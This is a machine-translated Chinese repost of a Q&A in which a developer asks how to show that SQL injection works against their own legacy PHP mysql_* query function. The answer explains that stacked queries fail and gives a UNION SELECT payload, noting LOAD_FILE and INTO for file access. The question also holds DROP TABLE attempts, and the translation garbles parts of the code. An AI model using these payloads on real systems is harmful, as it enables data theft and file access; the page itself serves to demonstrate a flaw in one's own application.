微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

如何在以下PHP mysql_ *代码上执行SQL注入?

我有一个现有的应用程序,曾经使用不推荐的 mysql_ *函数来执行数据库查询.我已经将大多数数据库访问(以及所有具有用户输入的内容)更改为PDO,因此我相信我对注入攻击相对安全.但是,我想知道如何对前面的代码执行注入攻击,以便我可以证明在需要时它是多么不安全.

我有一个格式的链接

http://localhost/api/view.php?id=

然后将未经过清理的内容传递到下面的select函数中:

$db->select('invitations','Replied,Response,Registered',null,"Id = '".$id."'");
$res = $db->getResult();

然后我做一个var_dump()来查看结果.

我尝试过类似的东西:

> http://localhost/api/view.PHP?id =< id>‘
=> array(1){[0] => string(185)“您的sql语法中有错误;请查看与您的MysqL服务器版本对应的手册,以便在第1行”’< id>”’附近使用正确的语法“}
> http://localhost/api/view.PHP?id =< id>“或1 = 1”=>数组(0){}

但似乎这些类型的查询不会成功.理想情况下,我希望能够做一些严厉的事情.我希望得到像’); DROP TABLE用户; –,但我似乎无法做出任何类型的事情.

这是完整的选择功能

public function select($table,$rows = '*',$join = null,$where = null,$order = null,$limit = null){
    // Create query from the variables passed to the function
    $q = 'SELECT '.$rows.' FROM '.$table;
    if($join != null){
        $q .= ' JOIN '.$join;
    }
    if($where != null){
        if (is_array($where)) {
            $filter = $where;
            $where = " 0 = 0 ";
            $qs = "";
            for ($i=0;$i<count($filter);$i++){
                switch($filter[$i]['data']['type']){
                    case 'string' : $qs .= " AND ".$filter[$i]['field']." LIKE '%".$filter[$i]['data']['value']."%'"; Break;
                    case 'list' :
                        if (strstr($filter[$i]['data']['value'],',')){
                            $fi = explode(',$filter[$i]['data']['value']);
                            for ($q=0;$q<count($fi);$q++){
                                $fi[$q] = "'".$fi[$q]."'";
                            }
                            $filter[$i]['data']['value'] = implode(',$fi);
                            $qs .= " AND ".$filter[$i]['field']." IN (".$filter[$i]['data']['value'].")";
                        }else{
                            $qs .= " AND ".$filter[$i]['field']." = '".$filter[$i]['data']['value']."'";
                        }
                        Break;
                    case 'boolean' : $qs .= " AND ".$filter[$i]['field']." = ".($filter[$i]['data']['value']); Break;
                    case 'numeric' :
                        switch ($filter[$i]['data']['comparison']) {
                            case 'eq' : $qs .= " AND ".$filter[$i]['field']." = ".$filter[$i]['data']['value']; Break;
                            case 'lt' : $qs .= " AND ".$filter[$i]['field']." < ".$filter[$i]['data']['value']; Break;
                            case 'gt' : $qs .= " AND ".$filter[$i]['field']." > ".$filter[$i]['data']['value']; Break;
                        }
                        Break;
                    case 'date' :
                        switch ($filter[$i]['data']['comparison']) {
                            case 'eq' : $qs .= " AND ".$filter[$i]['field']." = '".date('Y-m-d',strtotime($filter[$i]['data']['value']))."'"; Break;
                            case 'lt' : $qs .= " AND ".$filter[$i]['field']." < '".date('Y-m-d',strtotime($filter[$i]['data']['value']))."'"; Break;
                            case 'gt' : $qs .= " AND ".$filter[$i]['field']." > '".date('Y-m-d',strtotime($filter[$i]['data']['value']))."'"; Break;
                        }
                        Break;
                }
            }
            $where .= $qs;
        }
        $q .= ' WHERE '.$where;
    }
    if($order != null){
        $q .= ' ORDER BY '.$order;
    }
    if($limit != null){
        $q .= ' LIMIT '.$limit;
    }
    // Check to see if the table exists
    if($this->tableExists($table)){
        // The table exists,run the query
        $query = @MysqL_query($q);
        if($query){
            // If the query returns >= 1 assign the number of rows to numResults
            $this->numResults = MysqL_num_rows($query);
            // Loop through the query results by the number of rows returned
            for($i = 0; $i < $this->numResults; $i++){
                $r = MysqL_fetch_array($query);
                $key = array_keys($r);
                for($x = 0; $x < count($key); $x++){
                    // Sanitizes keys so only alphavalues are allowed
                    if(!is_int($key[$x])){
                        if(MysqL_num_rows($query) > 1){
                            $this->result[$i][$key[$x]] = $r[$key[$x]];
                        }else if(MysqL_num_rows($query) < 1){
                            $this->result = null;
                        }else{
                            $this->result[$key[$x]] = $r[$key[$x]];
                        }
                    }
                }
            }
            return true; // Query was successful
        }else{
            array_push($this->result,MysqL_error());
            return false; // No rows where returned
        }
    }else{
        return false; // Table does not exist
    }
}

我怎样才能执行sql注入?

编辑:

使用$_GET [‘id’]通过浏览器接收该值.事实上,第二个值不是在SQL查询中使用,而是在switch语句中使用.所以,完整的请求看起来像这样:

http://localhost/api/view.PHP?rsvp=<status>&id=<id>

这可能有所帮助.

编辑2:

可能重要的是要提到有问题的ID实际上是GUID,而不是数值.到目前为止,我使用正确的ID在评论中运行了所有查询.以下是一些结果:

> http://localhost/api/view.PHP?id = 62FD23D8-B6C0-03F1-D45A-C9AC33C91774′; drop table users; – => array(1){[0] => string(166)“您的sql语法中有错误;请查看与您的MysqL服务器版本对应的手册,以便在’drop table users附近使用正确的语法; – ”在第1行”}
> http://localhost/api/view.PHP?id = 62FD23D8-B6C0-03F1-D45A-C9AC33C91774′;从邀请中选择*;’ => array(1){[0] => string(179)“您的sql语法有错误;请查看与您的MysqL服务器版本对应的手册,以便在第4行的’select * from invitations;”’附近使用正确的语法”}

以下这些行是使用$id的全部代码

// ...
if(isset($_GET['id'])) {
    $id = $_GET['id'];
    $db->select('invitations',"Id = '".$id."'");
    $res = $db->getResult();
// ...
}

解决方法

仅仅是一些特定输入导致MysqL语法错误的事实证明用户输入对sql语法有一些意想不到的影响,这意味着可以进行sql注入.

但是这种sql注入的利用是另一个章节. MysqL,或者更确切地说是PHP’s MySQL extension,认情况下不支持使用mysql_query执行多个语句:

MysqL_query() sends a unique query (multiple queries are not supported) […]

因此,删除表的经典示例将无效,您从注入点开始是limited to the capabilities of the current statementallowed syntax elements.

在您的具体示例中,SELECT限制您

>从MysqL用户可以访问的数据库中读取任意数据
>使用LOAD_FILE function读取文件
>使用INTO … syntax编写文件

对于读取任意数据,UNION将是最佳选择,因为结果似乎反映回用户.您必须确保生成sql是有效的,这意味着您的UNION必须有三列(即,现有SELECT中的Replied,Response和Registered):

' UNION SELECT '1','2','3

结果语句如下所示:

SELECT Replied,Registered FROM invitations WHERE Id = '' UNION SELECT '1','3'

您现在可以用自己的表达式(包括LOAD_FILE)或子查询替换另外选择的值.

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐